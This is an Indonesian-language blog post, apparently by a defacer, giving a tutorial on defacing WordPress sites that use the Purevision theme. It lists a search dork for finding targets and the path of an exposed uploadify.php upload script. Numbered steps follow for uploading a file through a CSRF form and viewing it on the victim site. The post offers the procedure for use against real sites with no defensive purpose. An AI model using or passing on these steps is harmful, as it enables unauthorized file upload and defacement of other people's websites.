Cara Deface WP Themes Purevision

Yoho guys, balik lagi ma ane, kali ini wa mau kasih turtor depes metode WP themes Purevision (Bukan pureit loh :v) Poc ini poc mudah kok jdi langsung sadja :v

Bahan” :
Dork : inurl:/wp-content/themes/purevision/ (tau lah harus digimanain :v)
Exploit : http://www.site.co.li/wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php 
CSRF : EUE ONLINE :v

STEP” :

1. Dorking pakek dork diatas


2. Nemu site? langsung masukin exploit. Vuln? Blank page kyk dibawah


3. Bukak CSRF lalu isi kayak dibawah lah :v


4. Sukses? muncul angka 1 :v

5. Akses? http://site.co.li/namafile.html

Sekian dari gua ./DarkSkull7:v

Maap kalo salah/kurang jelas :v

Thanks :*

Komentar

Postingan Populer